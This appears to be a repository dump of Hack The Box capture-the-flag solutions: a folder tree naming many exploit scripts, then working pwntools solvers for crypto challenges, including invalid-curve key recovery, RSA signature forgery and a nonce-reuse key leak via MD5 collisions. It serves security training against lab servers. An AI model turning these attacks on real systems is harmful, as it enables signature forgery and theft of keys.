├── Challenges ├── Crypto │ ├── 400curves │ │ ├── README.md │ │ └── solve.py │ ├── AESWCM │ │ ├── README.md │ │ └── solve.py │ ├── AHS512 │ │ ├── README.md │ │ └── solve.py │ ├── AbraCryptabra │ │ ├── README.md │ │ └── solve.py │ ├── Android-in-the-Middle │ │ ├── README.md │ │ └── solve.py │ ├── BBGun06 │ │ ├── README.md │ │ └── solve.py │ ├── BFD56 │ │ ├── README.md │ │ └── solve.c │ ├── Bank-er-smith │ │ ├── README.md │ │ └── solve.py │ ├── Biased Heritage │ │ ├── README.md │ │ └── solve.py │ ├── Blessed │ │ ├── README.md │ │ └── solve.py │ ├── Bloom Bloom │ │ ├── README.md │ │ └── solve.py │ ├── Clutch │ │ ├── README.md │ │ └── solve.py │ ├── Colliding Heritage │ │ ├── README.md │ │ └── solve.py │ ├── Composition │ │ ├── README.md │ │ └── solve.py │ ├── Converging Visions │ │ ├── README.md │ │ └── solve.py │ ├── Copperbox │ │ ├── README.md │ │ └── solve.sage │ ├── CryptoConundrum │ │ ├── README.md │ │ └── solve.py │ ├── Digital Safety Annex │ │ ├── README.md │ │ └── solve.go │ ├── Down the Rabinhole │ │ ├── README.md │ │ └── solve.py │ ├── Elliptic Labyrinth │ │ ├── README.md │ │ └── solve.py │ ├── Fibopadcci │ │ ├── README.md │ │ └── solve.py │ ├── Find Marher's Secret │ │ ├── README.md │ │ └── solve.py │ ├── Hash the Filesystem │ │ ├── README.md │ │ └── solve.py │ ├── Homomurphy's Law │ │ ├── README.md │ │ └── solve.py │ ├── How The Columns Have Turned │ │ ├── README.md │ │ └── solve.py │ ├── I know Mag1k │ │ ├── README.md │ │ └── solve.py │ ├── Infinite Descent │ │ ├── README.md │ │ └── solve.py │ ├── Infinite Knapsack │ │ ├── README.md │ │ ├── solve_bf.py │ │ └── solve_lll.py │ ├── Interception │ │ ├── README.md │ │ └── solve.py │ ├── Jenny From The Block │ │ ├── README.md │ │ └── solve.py │ ├── Living with Elegance │ │ ├── README.md │ │ └── solve.go │ ├── LunaCrypt │ │ ├── README.md │ │ └── solve.py │ ├── MSS │ │ ├── README.md │ │ └── solve.py │ ├── Mayday Mayday │ │ ├── README.md │ │ └── solve.py │ ├── Mind In The Clouds │ │ ├── README.md │ │ └── solve.py │ ├── Not that random │ │ ├── README.md │ │ └── solve.go │ ├── One Step Closer │ │ ├── README.md │ │ └── solve.sage │ ├── Optimus Prime │ │ ├── README.md │ │ └── solve.py │ ├── Oracle Leaks │ │ ├── README.md │ │ └── solve.go │ ├── Partial Tenacity │ │ ├── README.md │ │ └── solve.py │ ├── Quadratic Points │ │ ├── README.md │ │ └── solve.py │ ├── RLotto │ │ ├── README.md │ │ └── solve.py │ ├── Roulette │ │ ├── README.md │ │ └── solve.py │ ├── SPG │ │ ├── README.md │ │ └── solve.py │ ├── Secure Signing │ │ ├── README.md │ │ └── solve.go │ ├── Signing Factory │ │ ├── README.md │ │ └── solve.py │ ├── Space Pirates │ │ ├── README.md │ │ └── solve.py │ ├── The Three-Eyed Oracle │ │ ├── README.md │ │ └── solve.py │ ├── Tsayaki │ │ ├── README.md │ │ └── solve.py │ ├── TurboCipher │ │ ├── README.md │ │ └── solve.py │ ├── Twin Oracles │ │ ├── README.md │ │ └── solve.py │ ├── TwoForOne │ │ ├── README.md │ │ └── solve.py │ ├── Verilicious │ │ ├── README.md │ │ └── solve.py │ ├── Waiting List │ │ ├── README.md │ │ └── solve.py │ ├── Zombie Rolled │ │ ├── README.md │ │ └── solve.py │ ├── baby quick maffs │ │ ├── README.md │ │ └── solve.py │ ├── hybrid unifier │ │ ├── README.md │ │ └── solve.py │ ├── secure source │ │ ├── README.md │ │ └── solve.py │ └── signup │ │ ├── README.md │ │ └── solve.py ├── Forensics │ ├── Deadly Arthropod │ │ ├── README.md │ │ └── solve.py │ └── Halloween Invitation │ │ ├── README.md │ │ └── solve.py ├── Hardware │ ├── HM74 │ │ ├── README.md │ │ └── solve.py │ └── VHDLock │ │ ├── README.md │ │ └── solve.py ├── Misc │ ├── A Nightmare On Math Street │ │ ├── README.md │ │ └── solve.go │ ├── Branching Tactics │ │ ├── README.md │ │ └── solve.go │ ├── Computational Recruiting │ │ ├── README.md │ │ └── solve.py │ ├── Deterministic │ │ ├── README.md │ │ └── solve.py │ ├── Emdee five for life │ │ ├── README.md │ │ ├── solve.py │ │ └── solve.sh │ ├── Eternal Loop │ │ ├── README.md │ │ └── solve.go │ ├── ExploitedStream │ │ ├── README.md │ │ └── solve.js │ ├── Fentastic Moves │ │ ├── README.md │ │ └── solve.py │ ├── Insane Bolt │ │ ├── README.md │ │ └── solve.py │ ├── M0rsarchive │ │ ├── README.md │ │ └── solve.py │ ├── Path of Survival │ │ ├── README.md │ │ └── solve.py │ ├── SecretRezipe │ │ ├── README.md │ │ └── solve.py │ └── Type Exception │ │ ├── README.md │ │ └── solve.py ├── OSINT │ └── Monstrosity │ │ ├── README.md │ │ └── analyze.py ├── Pwn │ ├── Ancient Interface │ │ ├── README.md │ │ └── solve.py │ ├── Antidote │ │ ├── README.md │ │ └── solve.py │ ├── Auth-or-out │ │ ├── README.md │ │ └── solve.py │ ├── Bat Computer │ │ ├── README.md │ │ └── solve.py │ ├── Blacksmith │ │ ├── README.md │ │ └── solve.py │ ├── Bon-nie-appetit │ │ ├── README.md │ │ └── solve.py │ ├── CRSid │ │ ├── README.md │ │ └── solve.py │ ├── Control Room │ │ ├── README.md │ │ └── solve.py │ ├── Dead or Alive │ │ ├── README.md │ │ └── solve.py │ ├── Dragon Army │ │ ├── README.md │ │ └── solve.py │ ├── Dream Diary: Chapter 3 │ │ ├── README.md │ │ └── solve.py │ ├── Entity │ │ ├── README.md │ │ └── solve.py │ ├── Fake Snake │ │ ├── README.md │ │ └── solve.py │ ├── FileStorage │ │ ├── README.md │ │ └── solve.py │ ├── Finale │ │ ├── README.md │ │ └── solve.py │ ├── Fleet Management │ │ ├── README.md │ │ └── solve.py │ ├── Format │ │ ├── README.md │ │ └── solve.py │ ├── Great Old Talisman │ │ ├── README.md │ │ └── solve.py │ ├── HTB Console │ │ ├── README.md │ │ └── solve.py │ ├── Hellhound │ │ ├── README.md │ │ └── solve.py │ ├── Leet Test │ │ ├── README.md │ │ └── solve.py │ ├── Math Door │ │ ├── README.md │ │ └── solve.py │ ├── Maze of Mist │ │ ├── README.md │ │ └── solve.py │ ├── Nightmare │ │ ├── README.md │ │ └── solve.py │ ├── No Return │ │ ├── README.md │ │ └── solve.py │ ├── Nowhere to go │ │ ├── README.md │ │ ├── dump.py │ │ └── solve.py │ ├── Old Bridge │ │ ├── README.md │ │ └── solve.py │ ├── Optimistic │ │ ├── README.md │ │ └── solve.py │ ├── Oxidized ROP │ │ ├── README.md │ │ └── solve.py │ ├── Picture Magic │ │ ├── README.md │ │ └── solve.py │ ├── PwnShop │ │ ├── README.md │ │ └── solve.py │ ├── Regularity │ │ ├── README.md │ │ └── solve.go │ ├── Robot Factory │ │ ├── README.md │ │ └── solve.py │ ├── Sacred Scrolls: Revenge │ │ ├── README.md │ │ └── solve.py │ ├── Shooting star │ │ ├── README.md │ │ ├── solve.py │ │ └── solve_pwntools.py │ ├── Space pirate: Going Deeper │ │ ├── README.md │ │ └── solve.py │ ├── Space pirate: Retribution │ │ ├── README.md │ │ └── solve.py │ ├── Space │ │ ├── README.md │ │ └── solve.py │ ├── Spellbook │ │ ├── README.md │ │ └── solve.py │ ├── Spooky Time │ │ ├── README.md │ │ └── solve.py │ ├── Trick or Deal │ │ ├── README.md │ │ └── solve.py │ ├── Vault-breaker │ │ ├── README.md │ │ └── solve.py │ ├── Void │ │ ├── README.md │ │ └── solve.py │ ├── Zombiedote │ │ ├── README.md │ │ └── solve.py │ ├── Zombienator │ │ ├── README.md │ │ └── solve.py │ ├── echoland │ │ ├── README.md │ │ ├── dump.py │ │ └── solve.py │ └── knote │ │ ├── README.md │ │ └── solve.c ├── Reversing │ ├── Headache │ │ ├── README.md │ │ └── solve.py │ ├── Potion Master │ │ ├── README.md │ │ └── solve.py │ ├── Rebuilding │ │ ├── README.md │ │ └── solve.py │ ├── Spooky License │ │ ├── README.md │ │ └── solve.py │ ├── The Vault │ │ ├── README.md │ │ └── solve.py │ └── Up a Stream │ │ ├── README.md │ │ └── Solve.java └── Web │ ├── 0xBOverchunked │ ├── README.md │ └── solve.go │ ├── AbuseHumanDB │ ├── README.md │ └── solve.py │ ├── BatchCraft Potions │ ├── README.md │ └── solve.py │ ├── Breaking Bank │ ├── README.md │ └── solve.py │ ├── E.Tree │ ├── README.md │ └── solve.go │ ├── ExpressionalRebel │ ├── README.md │ └── redos.go │ ├── Wild Goose Hunt │ ├── README.md │ └── solve.go │ ├── baby ninja jinja │ ├── README.md │ └── ssti.py │ ├── emoji voting │ ├── README.md │ └── solve.js │ └── wafwaf │ ├── README.md │ └── solve.js ├── Machines ├── Alert │ ├── README.md │ └── lfr.py ├── Altered │ ├── README.md │ └── bf_pin.rb ├── Antique │ ├── README.md │ └── decode.py ├── Awkward │ ├── README.md │ └── readFile.js ├── Backdoor │ ├── README.md │ ├── dpt.py │ └── pwn_gdbserver.py ├── Bizness │ ├── README.md │ └── ofbiz_exploit.sh ├── BountyHunter │ ├── README.md │ └── xxe.sh ├── Forge │ ├── README.md │ └── ssrf.py ├── GoodGames │ ├── README.md │ └── autopwn.py ├── Hancliffe │ ├── README.md │ ├── decrypt.sh │ ├── encrypt1.c │ ├── encrypt2.c │ └── exploit.py ├── Health │ ├── README.md │ ├── crack.go │ └── ssrf.py ├── Horizontall │ ├── README.md │ └── rce_strapi.py ├── Intelligence │ ├── README.md │ └── reqPdf.go ├── Intentions │ ├── README.md │ └── get_file.c ├── Monitors │ ├── README.md │ └── deserialization.sh ├── NodeBlog │ ├── README.md │ ├── nosqli.sh │ ├── package.json │ ├── unserialize_rce.js │ └── xxe.py ├── OverGraph │ ├── README.md │ ├── bf_token.py │ ├── exploit_rce.py │ ├── exploit_write.py │ ├── extract_id_rsa.py │ └── get_admin_token.py ├── Overflow │ ├── README.md │ ├── bit_flipper.py │ └── sqli.rb ├── Pikaboo │ ├── README.md │ └── autopwn.py ├── Precious │ ├── README.md │ └── autopwn.rb ├── Previse │ ├── README.md │ └── foothold.go ├── RainyDay │ ├── README.md │ ├── crack.py │ ├── extract_file.py │ └── extract_pepper.py ├── Retired │ ├── README.md │ ├── first_exploit.py │ ├── second_exploit.py │ └── third_exploit.py ├── Rope │ ├── README.md │ ├── fmtstr_exploit.py │ └── root_exploit.py ├── Scanned │ ├── README.md │ ├── crack.go │ └── exploit.sh ├── Shared │ ├── README.md │ └── sqli.js ├── Soccer │ ├── README.md │ └── websocket_sqli.py ├── Spider │ ├── README.md │ ├── ssti.py │ └── xxe.sh ├── Static │ ├── README.md │ ├── exploit.py │ ├── get_vpn.rb │ └── xdebug_shell.py ├── Stocker │ ├── README.md │ └── nosqli_regex.py ├── Timing │ ├── README.md │ └── upload.py ├── Unicode │ ├── README.md │ └── dpt-jwks.py ├── Union │ ├── README.md │ └── UnionSQLi.java ├── UpDown │ ├── README.md │ └── php_execute.py └── Writer │ ├── README.md │ ├── foothold.py │ └── sqli.py └── README.md /Challenges/Crypto/400curves/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. 400curves 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/400curves 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/400curves/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.Util.number import long_to_bytes 4 | from pwn import log, remote, sys 5 | from sage.all import crt, discrete_log, EllipticCurve, factor, GF 6 | 7 | a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc 8 | p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff 9 | Fp = GF(p) 10 | host, port = sys.argv[1].split(':') 11 | 12 | 13 | def get_S(b): 14 | E = EllipticCurve(Fp, [a, b]) 15 | order = E.order() 16 | factors = factor(order) 17 | G = E.gens()[0] 18 | log.info(f'ord(E_{b}) = {factors}') 19 | 20 | io = remote(host, int(port)) 21 | 22 | io.sendlineafter(b'Awaiting public key of the client...\n', f'{G[0]} {G[1]}'.encode()) 23 | io.recvuntil(b'Shared secret: ') 24 | S_tuple = eval(io.recvline().decode()) 25 | io.close() 26 | 27 | return order, G, factors, E(S_tuple) 28 | 29 | 30 | def get_dlogs(S, G, order, factors, new_factors, dlogs): 31 | for prime, exponent in factors: 32 | log.info(f'{prime = }, {exponent = }') 33 | new_factors.append(prime ** exponent) 34 | t = order // new_factors[-1] 35 | dlogs.append(discrete_log(t * S, t * G, operation='+')) 36 | 37 | 38 | def main(): 39 | order_0, G_0, factors_0, S_0 = get_S(0) 40 | order_1, G_1, factors_1, S_1 = get_S(1) 41 | order_4, G_4, factors_4, S_4 = get_S(4) 42 | 43 | new_factors, dlogs = [], [] 44 | 45 | get_dlogs(S_0, G_0, order_0, factors_0[:-2], new_factors, dlogs) 46 | get_dlogs(S_1, G_1, order_1, factors_1[:-1], new_factors, dlogs) 47 | get_dlogs(S_4, G_4, order_4, factors_4[1:-3], new_factors, dlogs) 48 | 49 | flag = crt(dlogs, new_factors) 50 | log.success(long_to_bytes(flag).decode()) 51 | 52 | 53 | if __name__ == '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /Challenges/Crypto/AESWCM/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. AESWCM 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/aeswcm 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/AESWCM/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, process, remote, sys, xor 4 | 5 | 6 | def get_process(): 7 | if len(sys.argv) == 1: 8 | return process(['python3', 'server.py']) 9 | 10 | host, port = sys.argv[1].split(':') 11 | return remote(host, port) 12 | 13 | 14 | def main(): 15 | io = get_process() 16 | 17 | p_1_1 = b'Property: ' + bytes.fromhex('00' * 6) 18 | 19 | io.sendlineafter(b'Property: ', p_1_1[10:].hex().encode()) 20 | e_1 = c_1_1 = bytes.fromhex(io.recvline().decode()) 21 | 22 | p_2_1 = p_1_1 23 | p_2_2 = xor(e_1, p_1_1) 24 | 25 | io.sendlineafter(b'Property: ', (p_2_1 + p_2_2)[10:].hex().encode()) 26 | e_2 = bytes.fromhex(io.recvline().decode()) 27 | 28 | c_2_1 = c_1_1 29 | c_2_2 = xor(e_2, c_2_1) 30 | 31 | p_3_1 = p_2_1 32 | p_3_2 = p_2_2 33 | p_3_3 = xor(p_2_2, c_2_2) 34 | 35 | io.sendlineafter(b'Property: ', (p_3_1 + p_3_2 + p_3_3)[10:].hex().encode()) 36 | io.recvline() 37 | log.success(f'Flag: {io.recvline().decode().strip()}') 38 | io.close() 39 | 40 | 41 | if __name__ == '__main__': 42 | main() 43 | -------------------------------------------------------------------------------- /Challenges/Crypto/AHS512/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. AHS512 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/ahs512 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/AHS512/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import remote, sys 4 | 5 | 6 | def main(): 7 | host, port = sys.argv[1].split(':') 8 | p = remote(host, int(port)) 9 | 10 | p.recvuntil(b'Find a message that generate the same hash as this one: ') 11 | target = p.recvline().strip().decode() 12 | original_message = b"pumpkin_spice_latte!" 13 | 14 | message = original_message.replace(b'_', b'\xdf') 15 | p.sendlineafter(b'Enter your message: ', message.hex().encode()) 16 | p.recvline() 17 | answer = p.recvline() 18 | 19 | while b'Conditions not satisfied!' in answer: 20 | p.sendlineafter(b'Enter your message: ', message.hex().encode()) 21 | p.recvline() 22 | answer = p.recvline(2) 23 | 24 | p.close() 25 | print(answer.decode().strip()) 26 | 27 | 28 | if __name__ == '__main__': 29 | main() 30 | -------------------------------------------------------------------------------- /Challenges/Crypto/AbraCryptabra/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. AbraCryptabra 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/abracryptabra 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Android-in-the-Middle/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Android-in-the-Middle 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/android-in-the-middle 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Android-in-the-Middle/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import hashlib 4 | 5 | from Crypto.Cipher import AES 6 | from Crypto.Util.number import long_to_bytes 7 | 8 | from pwn import remote, sys 9 | 10 | 11 | def encrypt(encrypted, shared_secret): 12 | key = hashlib.md5(long_to_bytes(shared_secret)).digest() 13 | cipher = AES.new(key, AES.MODE_ECB) 14 | message = cipher.encrypt(encrypted) 15 | return message 16 | 17 | 18 | def main(): 19 | host, port = sys.argv[1].split(':') 20 | p = remote(host, int(port)) 21 | 22 | encrypted_message = encrypt(b'Initialization Sequence - Code 0', 1) 23 | 24 | p.sendlineafter(b'Enter The Public Key of The Memory: ', b'1') 25 | p.sendlineafter(b'Enter The Encrypted Initialization Sequence: ', encrypted_message.hex().encode()) 26 | 27 | p.recvline() 28 | p.recvline() 29 | print(p.recv().decode()) 30 | 31 | 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Challenges/Crypto/BBGun06/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. BBGun06 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/bbgun06 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/BBGun06/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Util.number import long_to_bytes 5 | from gmpy2 import iroot 6 | from pwn import log, re, remote, sys 7 | 8 | 9 | def main(): 10 | if len(sys.argv) != 2: 11 | log.warning(f'Usage: python3 {sys.argv[0]} ') 12 | exit(1) 13 | 14 | host, port = sys.argv[1].split(':') 15 | r = remote(host, int(port)) 16 | 17 | r.recvuntil(b'certificate: \n') 18 | cert = RSA.import_key(r.recvuntil(b'-----END PUBLIC KEY-----').decode()) 19 | n, e = cert.n, cert.e 20 | 21 | forged_min = int((b'\x00\x01' + b'\xff' * 1 + b'\x000!0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xdb}\xdd?yeA\xdaO\x80]yHo\xd3w\x07\x9c2p').ljust(256, b'\x00').hex(), 16) 22 | forged_max = int((b'\x00\x01' + b'\xff' * 217 + b'\x000!0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xdb}\xdd?yeA\xdaO\x80]yHo\xd3w\x07\x9c2p').ljust(256, b'\xff').hex(), 16) 23 | 24 | perfect_cube_range = range(iroot(forged_min, e)[0], iroot(forged_max, e)[0]) 25 | 26 | regex = re.compile(b'\x00\x01\xff+?\x00(.{15})(.{20})', re.DOTALL) 27 | keylength = len(long_to_bytes(n)) 28 | 29 | for t in perfect_cube_range: 30 | clearsig = (t ** e).to_bytes(keylength, 'big') 31 | m = regex.match(clearsig) 32 | 33 | if m and m.groups() == (b'0!0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14', b'\xdb}\xdd?yeA\xdaO\x80]yHo\xd3w\x07\x9c2p'): 34 | break 35 | 36 | r.sendafter(b'Enter the signature as hex: ', hex(t)[2:].encode()) 37 | log.success(f'Flag: {r.recv().decode()}') 38 | r.close() 39 | 40 | 41 | if __name__ == '__main__': 42 | main() 43 | -------------------------------------------------------------------------------- /Challenges/Crypto/BFD56/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. BFD56 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/bfd56 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Bank-er-smith/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Bank-er-smith 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/bank-er-smith 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Bank-er-smith/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, process, remote, sys 4 | from sage.all import PolynomialRing, Zmod 5 | 6 | 7 | def get_process(): 8 | if len(sys.argv) == 1: 9 | return process(['python3', 'server.py']) 10 | 11 | host, port = sys.argv[1].split(':') 12 | return remote(host, port) 13 | 14 | 15 | def main(): 16 | io = get_process() 17 | 18 | io.recvuntil(b'You managed to retrieve: ') 19 | encrypted_passphrase = int(io.recvline().decode(), 16) 20 | 21 | log.info(f'Encrypted passphrase: {hex(encrypted_passphrase)}') 22 | 23 | io.sendlineafter(b'> ', b'1') 24 | io.recvline() 25 | 26 | e = 0x10001 27 | n = int(io.recvline().decode()) 28 | log.info(f'{n = }') 29 | 30 | io.sendlineafter(b'> ', b'2') 31 | io.recvline() 32 | 33 | p_hint = int(io.recvline().decode()) 34 | log.info(f'{p_hint = }') 35 | log.info(f'{hex(p_hint) = }') 36 | 37 | F = PolynomialRing(Zmod(n), names=('x', )) 38 | x = F._first_ngens(1)[0] 39 | 40 | f = x + p_hint 41 | x0 = f.small_roots(2 ** 256, beta=0.5)[0] 42 | 43 | p = int(x0) + p_hint 44 | 45 | assert n % p == 0 46 | 47 | q = n // p 48 | phi_n = (p - 1) * (q - 1) 49 | d = pow(e, -1, phi_n) 50 | m = pow(encrypted_passphrase, d, n) 51 | passphrase = bytes.fromhex(hex(m)[2:]) 52 | 53 | log.success(f'Passphrase: {passphrase.decode()}') 54 | 55 | io.sendlineafter(b'> ', b'3') 56 | io.sendlineafter(b'Which vault would you like to open: ', b'vault_68') 57 | io.sendlineafter(b'Enter the passphrase: ', passphrase) 58 | io.recvline() 59 | 60 | log.success(f'Flag: {io.recvline().decode().strip()}') 61 | io.close() 62 | 63 | 64 | if __name__ == '__main__': 65 | main() 66 | -------------------------------------------------------------------------------- /Challenges/Crypto/Biased Heritage/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Biased Heritage 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/biased-heritage 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Blessed/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Blessed 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/blessed 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Bloom Bloom/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Bloom Bloom 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/bloom-bloom 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Bloom Bloom/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from ast import literal_eval 4 | from hashlib import sha256 5 | 6 | from Crypto.Cipher import AES 7 | from Crypto.Util.Padding import unpad 8 | 9 | 10 | with open('output.txt') as f: 11 | all_enc_messages = literal_eval(f.readline()) 12 | ct = bytes.fromhex(f.readline()) 13 | 14 | 15 | def try_decrypt(key, iv, ct): 16 | try: 17 | pt = unpad(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct), AES.block_size) 18 | return pt 19 | except ValueError: 20 | return 21 | 22 | 23 | key0 = sha256(b'0' * 256).digest() 24 | key1 = sha256(b'1' * 256).digest() 25 | 26 | messages = [] 27 | 28 | for enc_messages in all_enc_messages: 29 | for iv, enc_message in enc_messages: 30 | if (message := try_decrypt(key0, bytes.fromhex(iv), bytes.fromhex(enc_message))): 31 | messages.append(message.decode()) 32 | break 33 | if (message := try_decrypt(key1, bytes.fromhex(iv), bytes.fromhex(enc_message))): 34 | messages.append(message.decode()) 35 | break 36 | 37 | 38 | from re import search 39 | 40 | from Crypto.Util.number import long_to_bytes 41 | 42 | from sage.all import GF, PolynomialRing 43 | 44 | 45 | shares = [] 46 | 47 | for message in messages: 48 | if (share_match := search(r'Share#\d+?#: \((\d+?), (\d+?)\)', message)): 49 | shares.append((int(share_match.group(1)), int(share_match.group(2)))) 50 | 51 | if (gf_match := search(r'GF\((\d+?)\)', message)): 52 | Fp = GF(int(gf_match.group(1))) 53 | 54 | P = PolynomialRing(Fp, 'x') 55 | polynomial = P.lagrange_polynomial(shares) 56 | key = long_to_bytes(int(polynomial(0))) 57 | assert sha256(key).hexdigest().startswith('709149eb5baf8f8cb617226854a7b4f3') 58 | 59 | print(unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), AES.block_size).decode()) 60 | -------------------------------------------------------------------------------- /Challenges/Crypto/Clutch/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Clutch 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/clutch 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Colliding Heritage/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Colliding Heritage 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/colliding-heritage 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Colliding Heritage/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.Util.number import long_to_bytes, bytes_to_long 4 | from hashlib import md5 5 | from pwn import remote, sys 6 | 7 | 8 | p = 0x16dd987483c08aefa88f28147702e51eb 9 | q = (p - 1) // 2 10 | g = 3 11 | 12 | 13 | def H(msg): 14 | return bytes_to_long(md5(msg).digest()) % q 15 | 16 | 17 | def main(): 18 | host, port = sys.argv[1].split(':') 19 | io = remote(host, port) 20 | 21 | msg1 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70' 22 | msg2 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70' 23 | 24 | io.sendlineafter(b'> ', b'S') 25 | io.sendlineafter(b'Enter message> ', msg1.encode()) 26 | io.recvuntil(b'Signature: ') 27 | s1, e1 = eval(io.recvline().decode()) 28 | 29 | io.sendlineafter(b'> ', b'S') 30 | io.sendlineafter(b'Enter message> ', msg2.encode()) 31 | io.recvuntil(b'Signature: ') 32 | s2, e2 = eval(io.recvline().decode()) 33 | 34 | x = (s2 - s1) * pow(e1 - e2, -1, q) % q 35 | 36 | def sign(msg): 37 | k = H(msg + long_to_bytes(x)) 38 | r = pow(g, k, p) % q 39 | e = H(long_to_bytes(r) + msg) 40 | s = (k - x * e) % q 41 | return (s, e) 42 | 43 | s, e = sign(b'I am the left hand') 44 | 45 | io.sendlineafter(b'> ', b'V') 46 | io.sendlineafter(b'Enter message> ', b'I am the left hand'.hex().encode()) 47 | io.sendlineafter(b'Enter s> ', str(s).encode()) 48 | io.sendlineafter(b'Enter e> ', str(e).encode()) 49 | 50 | io.success(io.recvline().decode()) 51 | 52 | 53 | if __name__ == '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /Challenges/Crypto/Composition/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Composition 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/composition 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Converging Visions/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Converging Visions 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/converging-visions 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Copperbox/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Copperbox 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/copperbox 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Copperbox/solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | p = 0x31337313373133731337313373133731337313373133731337313373133732ad 4 | a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef 5 | b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de 6 | 7 | trunc = 48 8 | 9 | hint1 = 71423363559670126636256015849609248068471254188780947659031431 10 | hint2 = 60279909443976522334351660980145297750342536242395671298832176 11 | 12 | 13 | Y, Z = PolynomialRing(Zmod(p), 'Y, Z').gens() 14 | 15 | A = [sum(a ** m for m in range(i + 1)) for i in range(4)] 16 | 17 | H1 = hint1 << trunc 18 | H2 = hint2 << trunc 19 | 20 | HY = a * H1 + a * Y - 1 21 | HZ = a * H2 + a * Z - 1 22 | 23 | P = a ** 2 * HZ * ((H1 + Y) * A[1] - A[0]) - HY * ((H2 + Z) * A[3] - A[2]) 24 